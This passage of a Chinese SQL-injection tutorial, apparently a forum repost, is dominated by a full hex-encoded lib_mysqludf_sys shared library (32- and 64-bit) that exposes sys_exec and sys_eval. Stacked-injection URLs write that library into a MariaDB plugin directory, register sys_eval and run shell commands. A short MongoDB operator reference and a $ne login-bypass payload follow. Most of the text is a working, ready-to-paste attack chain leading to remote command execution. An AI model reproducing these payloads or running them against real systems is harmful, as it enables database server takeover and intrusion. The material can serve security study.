65786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000b20100000c000000100900000d000000f80d000004000000b4000000f5feff6ff8010000050000005805000006000000b80200000a000000f40100000b0000001000000003000000f010000002000000100000001400000011000000170000000009000011000000e0070000120000002001000013000000080000001600000000000000feffff6fa0070000ffffff6f01000000f0ffff6f4c070000faffff6f0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000b4000000b400000044010000030000000000000004000000040000000b000000f6ffff6f02000000f8010000f8010000c000000003000000000000000400000004000000150000000b00000002000000b8020000b8020000a0020000040000000100000004000000100000001d00000003000000020000005805000058050000f40100000000000000000000010000000000000025000000ffffff6f020000004c0700004c070000540000000300000000000000020000000200000032000000feffff6f02000000a0070000a00700004000000004000000010000000400000000000000410000000900000002000000e0070000e007000020010000030000000000000004000000080000004a0000000900000002000000000900000009000010000000030000000a0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004e000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005f0000000100000006000000f80d0000f80d00001c00000000000000000000000400000000000000650000000100000032000000140e0000140e0000dd000000000000000000000001000000010000006d0000000100000002000000f40e0000f40e00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007e000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008a00000006000000030000001410000014100000d000000004000000000000000400000008000000930000000100000003000000e4100000e41000000c00000000000000000000000400000004000000980000000100000003000000f0100000f01000001400000000000000000000000400000004000000a1000000010000000300000004110000041100000400000000000000000000000400000000000000a7000000080000000300000008110000081100000800000000000000000000000400000000000000ac000000010000000000000000000000081100009b0000000000000000000000010000000000000001000000030000000000000000000000a3110000b500000000000000000000000100000000000000INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
（4）lib_mysqludf_sys_64.so
SELECT
0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
但是有一个问题，这里是 get 传参，而 URL 的长度是受限制的（URL 的最大长度是 2048 个字符），显然这里远远超了，若长度超限，服务端会返回 414 。
但实在 Http 的 get 方法提交的数据巨细长度并没有限制，http 协议规范并没有对 url 长度举行限制，所谓的 get 长度有限制，是特定的浏览器及服务器对它的限制，不同浏览器和服务器的最大处理惩罚能力也是不同的。
这将 udf 文件分为三段导入：
先导入第一部门 再导入其他部门
/api/?id=0';select '7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e81800000000000000000000查察第一部门是否导入成功：
/api/?id=0';select load_file('/usr/lib/mariadb/plugin/1.txt')%23 使用 concat 来将这三部门拼接后导入前面得到的路径：\/usr\/lib\/mariadb\/plugin\/
导入文件命名为 myon.so
/api/?id=0';select unhex(concat(load_file('/usr/lib/mariadb/plugin/1.txt'),load_file('/usr/lib/mariadb/plugin/2.txt'),load_file('/usr/lib/mariadb/plugin/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/myon.so'%23 最后创建 sys_eval 函数用于后续的命令执行：
/api/?id=0';create function sys_eval returns string soname 'myon.so'%23 用自定义函数：
/api/?id=0';select sys_eval('ls /')%2316.nosql 注入
MongoDB 操作符在MongoDB数据库中用于执行各种数据操作，包括但不限于数据查询、更新、删除以及数据统计与分析。这些操作符使得开辟者能够灵活地筛选和操作数据库中的文档。以下是对MongoDB操作符的详细分类及应用场景的说明：
一、查询操作符
[*] 根本比力操作符：
[*]$eq：等于
[*]$ne：不等于
[*]$gt：大于
[*]$gte：大于等于
[*]$lt：小于
[*]$lte：小于等于
这些操作符用于比力字段的值，以筛选出满足条件的文档。比方，查询年岁等于30的文档：db.users.find({age:{$eq:30}})。
[*] 逻辑操作符：
[*]$and：逻辑与，用于组合多个条件，全部条件都必须满足。
[*]$or：逻辑或，用于组合多个条件，只需满足其中一个条件。
[*]$not：逻辑非，用于否定一个查询条件。
[*]$nor：逻辑非或，用于组合多个条件，全部条件都必须不满足。
这些操作符用于组合多个查询条件，以实现更复杂的查询逻辑。
[*] 元素操作符：
[*]$exists：查抄字段是否存在。
[*]$type：查抄字段的数据类型。
这些操作符用于查抄文档中的字段是否存在或具有特定的数据类型。
[*] 数组操作符：
[*]$in：值是否在数组中。
[*]$nin：值是否不在数组中。
[*]$all：数组是否包含全部指定的值。
[*]$elemMatch：数组中的元素是否匹配指定条件。
[*]$size：匹配数组的巨细。
这些操作符用于操作数组字段，以筛选出满足特定条件的数组元素或文档。
[*] 正则表达式操作符：
[*]$regex：正则表达式匹配。
这个操作符用于在文本字段中举行模式匹配，以筛选出符合特定正则表达式的文档。
二、更新操作符
在更新文档时，MongoDB提供了一系列更新操作符，用于指定更新的范围和内容。比方：
[*]$set：设置字段的值。
[*]$unset：删除字段。
[*]$inc：增长字段的值。
[*]$mul：乘以字段的值。
[*]$rename：重命名字段。
以及针对数组字段的更新操作符：
[*]$push：向数组中添加一个或多个元素。
[*]$addToSet：向数组中添加一个元素（假如元素不存在）。
[*]$pop：从数组中移除第一个或最后一个元素。
[*]$pull：从数组中移除全部匹配的元素。
[*]$pullAll：从数组中移除全部指定的元素。
三、其他操作符
除了上述查询和更新操作符外，MongoDB还提供了一些其他操作符，用于执行数据统计与分析、排序和限制效果集等操作。比方：
[*]$sum：在聚合操作中计算总和。
[*]$sort：指定排序方式。
[*]$limit：限制效果集的巨细。
[*]$skip：跳过指定数量的文档
username[$ne]=1&password[$ne]=1
杂列
判断表的字段
这里表名要使用飘号`，而不是单引号'
1、两者在linux下和windows下不同，linux下不区分，windows下区分
2、在windows下引用数据库、表、索引、列和别名是需要用飘号（`）
参考
supersqli（SQL注入流程及常用SQL语句）-CSDN博客
My6n-CSDN博客
SQL注入实战指南-CSDN博客
sql注入常见函数（附图详解）_sql注入常用函数分类-CSDN博客
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]